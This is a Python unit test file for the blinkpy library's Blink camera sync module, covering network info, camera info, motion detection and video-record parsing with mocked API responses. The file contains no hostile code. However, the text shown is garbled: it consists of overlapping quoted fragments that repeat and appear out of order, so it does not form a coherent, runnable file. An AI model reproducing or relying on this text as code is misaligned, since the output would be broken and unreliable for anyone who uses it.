\"\"\"Test videos return response with old", "BlinkSyncModule functions in blinkpy.\"\"\" def setUp(self): \"\"\"Set up Blink module.\"\"\"", "def setUp(self): \"\"\"Set up Blink module.\"\"\" self.blink = Blink(motion_interval=0) self.blink.last_refresh", "get events function.\"\"\" mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {}", "= True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available =", "\"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras", "{ \"id\": 1234, \"network_id\": 5678, \"serial\": \"12345678\", \"status\": \"foobar\", }", "{}) mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {\"camera\": None}", "\"device_name\": \"foo\", \"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", }, ] } sync_module", "self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True", "mock_resp): \"\"\"Test missing key from camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] =", "self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self,", "True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp): \"\"\"Test sync start function.\"\"\"", "mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"),", "\"\"\"Clean up after test.\"\"\" self.blink = None self.camera = None", "mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp): \"\"\"Test that", "{\"armed\": True}} def tearDown(self): \"\"\"Clean up after test.\"\"\" self.blink =", "= [None, \"just a string\", {}] sync_module = self.blink.sync[\"test\"] sync_module.cameras", "camera info function.\"\"\" mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value =", "{\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value =", "self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\")", "BlinkOwl(self.blink, \"foo\", 1234, response) self.assertTrue(owl.start()) self.assertTrue(\"foo\" in owl.cameras) self.assertEqual(owl.cameras[\"foo\"].__class__, BlinkCameraMini)", "\"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\",", "{\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp): \"\"\"Test failed network retrieval.\"\"\"", "self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected summary", "from blinkpy.sync_module import BlinkSyncModule, BlinkOwl from blinkpy.camera import BlinkCamera, BlinkCameraMini", "network retrieval.\"\"\" mock_resp.return_value = {\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value =", "self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\", \"1234\", []) self.camera = BlinkCamera(self.blink.sync) self.mock_start", "False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self,", "= None def test_bad_status(self, mock_resp): \"\"\"Check that we mark module", "False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_multiple_videos(self, mock_resp): \"\"\"Test motion", "= 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result = { \"foo\":", "= self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion,", "import mock from blinkpy.blinkpy import Blink from blinkpy.helpers.util import BlinkURLHandler", "} ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None}", "\"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", } ] } sync_module =", "multiple videos.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\",", "\"1234\") def test_owl_start(self, mock_resp): \"\"\"Test owl camera instantiation.\"\"\" response =", "= self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos())", "self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info = {\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos())", "import BlinkSyncModule, BlinkOwl from blinkpy.camera import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class", "self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self, mock_resp): \"\"\"Test handling of failed get", "\"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value = {\"media\": []}", "startup.\"\"\" sync_module = self.blink.sync[\"test\"] self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self,", "handling of failed get events function.\"\"\" mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events())", "\"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", }, ] } sync_module = self.blink.sync[\"test\"]", "self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm,", "self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos())", "True mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp): \"\"\"Test", "= None self.camera = None self.mock_start = None def test_bad_status(self,", "bad status.\"\"\" self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available)", "= 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info = {\"network\": {\"armed\":", "setUp(self): \"\"\"Set up Blink module.\"\"\" self.blink = Blink(motion_interval=0) self.blink.last_refresh =", "blinkpy.sync_module import BlinkSyncModule, BlinkOwl from blinkpy.camera import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\")", "{\"foo\": None} sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True", "if module unarmed.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\":", "mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_missing_camera_info(self, mock_resp):", "\"\"\"Test handling of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309} mock_resp.side_effect", "None self.mock_start = None def test_bad_status(self, mock_resp): \"\"\"Check that we", "{\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info", "after test.\"\"\" self.blink = None self.camera = None self.mock_start =", "self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp):", "}, ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None}", "check_new_videos does not block startup.\"\"\" sync_module = self.blink.sync[\"test\"] self.blink.last_refresh =", "= {\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp): \"\"\"Test failed", "summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309} mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id,", "self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self, mock_resp): \"\"\"Test network retrieval.\"\"\" mock_resp.return_value =", "self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self, mock_resp): \"\"\"Test method when response is", "response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\":", "handling of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect = self.mock_start", "self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp): \"\"\"Test get events function.\"\"\"", "None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result =", "\"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", } ] } sync_module", "\"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"]", "info function.\"\"\" mock_resp.return_value = {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self,", "sync_module.cameras = {\"foo\": None} sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"]", "False}) def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that motion detection is not", "unexpected camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = None", "BlinkOwl from blinkpy.camera import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test", "self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that motion", "mock_resp.return_value = {\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp): \"\"\"Test", "instantiation.\"\"\" response = { \"name\": \"foo\", \"id\": 2, \"serial\": \"foobar123\",", "motion found even with multiple videos.\"\"\" mock_resp.return_value = { \"media\":", "mock from blinkpy.blinkpy import Blink from blinkpy.helpers.util import BlinkURLHandler from", "{\"foo\": True}) expected_result = { \"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}", "= {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling", "\"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self, mock_resp): \"\"\"Test videos return response with", "events function.\"\"\" mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events())", "self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"]", "mock_resp): \"\"\"Test that motion detection is not set if module", "= 0 self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\", \"1234\",", "1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that", "{\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\",", "TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions in blinkpy.\"\"\" def setUp(self): \"\"\"Set up", "\"created_at\": \"1970-01-01T00:00:01+00:00\", }, ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras =", "mock_resp): \"\"\"Test handling of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309}", "self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected camera", "sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self, mock_resp): \"\"\"Test", "{}) def test_get_network_info(self, mock_resp): \"\"\"Test network retrieval.\"\"\" mock_resp.return_value = {\"network\":", "= True mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp):", "[ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", } ]", "= True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"]", "self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self, mock_resp): \"\"\"Test owl camera instantiation.\"\"\" response", "\"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self, mock_resp):", "\"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value = {\"media\":", "self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\":", "self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available", "test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None", "self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info = {\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion,", "BlinkCamera(self.blink.sync) self.mock_start = [ { \"syncmodule\": { \"id\": 1234, \"network_id\":", "\"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\":", "}, {\"event\": True}, {}, {}, None, {\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info", "self.mock_start = [ { \"syncmodule\": { \"id\": 1234, \"network_id\": 5678,", "that we mark module unavaiable on bad status.\"\"\" self.blink.sync[\"test\"].status =", "self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available)", "= {\"network_id\": 8675309} mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def", "return response with old date.\"\"\" mock_resp.return_value = { \"media\": [", "unexpected summary response.\"\"\" self.mock_start[0] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start())", "\"1970-01-01T00:00:01+00:00\", }, ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\":", "None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp): \"\"\"Test", "\"\"\"Set up Blink module.\"\"\" self.blink = Blink(motion_interval=0) self.blink.last_refresh = 0", "response.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\", \"media\":", "1234, \"network_id\": 5678, \"serial\": \"12345678\", \"status\": \"foobar\", } }, {\"event\":", "mock_resp): \"\"\"Test get events function.\"\"\" mock_resp.return_value = {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(),", "\"id\": 2, \"serial\": \"foobar123\", \"enabled\": True, \"network_id\": 1, \"thumbnail\": \"/foo/bar\",", "def test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected summary response.\"\"\" self.mock_start[0] = None", "self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected camera info", "{\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp): \"\"\"Test failed network", "[None, \"just a string\", {}] sync_module = self.blink.sync[\"test\"] sync_module.cameras =", "\"\"\"Test network retrieval.\"\"\" mock_resp.return_value = {\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value", "self.mock_start = None def test_bad_status(self, mock_resp): \"\"\"Check that we mark", "None}) def test_missing_camera_info(self, mock_resp): \"\"\"Test missing key from camera info", "unittest import mock from blinkpy.blinkpy import Blink from blinkpy.helpers.util import", "mock_resp): \"\"\"Test unexpected camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5]", "Blink module.\"\"\" self.blink = Blink(motion_interval=0) self.blink.last_refresh = 0 self.blink.urls =", "{\"event\": True}, {}, {}, None, {\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info =", "sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309} mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start()", "attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self, mock_resp): \"\"\"Test owl", "sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 1000", "BlinkSyncModule, BlinkOwl from blinkpy.camera import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase):", "{ \"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }, { \"device_name\":", "{} self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp):", "test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\":", "\"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }", "\"12345678\", \"status\": \"foobar\", } }, {\"event\": True}, {}, {}, None,", "0 self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\", \"1234\", [])", "\"\"\"Tests camera and system functions.\"\"\" import unittest from unittest import", "get events function.\"\"\" mock_resp.return_value = {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def", "= None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self, mock_resp): \"\"\"Test that check_new_videos", "blinkpy.camera import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions", "None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling", "self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp): \"\"\"Check that", "\"id\": 1234, \"network_id\": 5678, \"serial\": \"12345678\", \"status\": \"foobar\", } },", "self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self, mock_resp): \"\"\"Test owl camera", "= { \"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\":", "self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test that motion detection", "= {\"foo\": None} sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual(", "def test_get_network_info(self, mock_resp): \"\"\"Test network retrieval.\"\"\" mock_resp.return_value = {\"network\": {\"sync_module_error\":", "self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_multiple_videos(self, mock_resp): \"\"\"Test motion found", "with old date.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\":", "sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos())", "def test_sync_start(self, mock_resp): \"\"\"Test sync start function.\"\"\" mock_resp.side_effect = self.mock_start", "response.\"\"\" self.mock_start[0] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self,", "\"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self, mock_resp): \"\"\"Test videos return", "sync_module.network_info = {\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def", "blinkpy.blinkpy import Blink from blinkpy.helpers.util import BlinkURLHandler from blinkpy.sync_module import", "even with multiple videos.\"\"\" mock_resp.return_value = { \"media\": [ {", "\"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self, mock_resp): \"\"\"Test method", "does not block startup.\"\"\" sync_module = self.blink.sync[\"test\"] self.blink.last_refresh = None", "self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = None mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start()", "bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def", "def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] =", "{\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self, mock_resp):", "def test_get_camera_info(self, mock_resp): \"\"\"Test get camera info function.\"\"\" mock_resp.return_value =", "= {} self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True", "\"enabled\": True, \"network_id\": 1, \"thumbnail\": \"/foo/bar\", } self.blink.last_refresh = None", "self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp): \"\"\"Test get", "self.blink.sync[\"test\"].available = True mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def test_check_new_videos_startup(self,", "\"\"\"Check that we mark module unavaiable on bad status.\"\"\" self.blink.sync[\"test\"].status", "= None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test", "from unittest import mock from blinkpy.blinkpy import Blink from blinkpy.helpers.util", "that motion detection is not set if module unarmed.\"\"\" mock_resp.return_value", "def test_check_multiple_videos(self, mock_resp): \"\"\"Test motion found even with multiple videos.\"\"\"", "test_get_camera_info(self, mock_resp): \"\"\"Test get camera info function.\"\"\" mock_resp.return_value = {\"camera\":", "= None self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp):", "\"foo\", \"id\": 2, \"serial\": \"foobar123\", \"enabled\": True, \"network_id\": 1, \"thumbnail\":", "{\"foo\": None}) def test_missing_camera_info(self, mock_resp): \"\"\"Test missing key from camera", "self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\": True})", "in blinkpy.\"\"\" def setUp(self): \"\"\"Set up Blink module.\"\"\" self.blink =", "\"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }", "{\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result", "\"time\": \"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self, mock_resp): \"\"\"Test videos return response", "test_check_new_videos_old_date(self, mock_resp): \"\"\"Test videos return response with old date.\"\"\" mock_resp.return_value", "\"\"\"Test that check_new_videos does not block startup.\"\"\" sync_module = self.blink.sync[\"test\"]", "True}) mock_resp.return_value = {\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual(", "motion detection is not set if module unarmed.\"\"\" mock_resp.return_value =", "self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp): \"\"\"Test get camera info function.\"\"\" mock_resp.return_value", "\"test\", \"1234\", []) self.camera = BlinkCamera(self.blink.sync) self.mock_start = [ {", "False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self,", "[ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", } ]", "response with old date.\"\"\" mock_resp.return_value = { \"media\": [ {", "def test_sync_attributes(self, mock_resp): \"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\")", "= {\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True})", "blinkpy.helpers.util import BlinkURLHandler from blinkpy.sync_module import BlinkSyncModule, BlinkOwl from blinkpy.camera", "from blinkpy.camera import BlinkCamera, BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule", "\"\"\"Test sync start function.\"\"\" mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\")", "method when response is unexpected.\"\"\" mock_resp.side_effect = [None, \"just a", "bad arm status.\"\"\" self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm,", "self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, )", "sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result = {", "mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp): \"\"\"Test get camera", 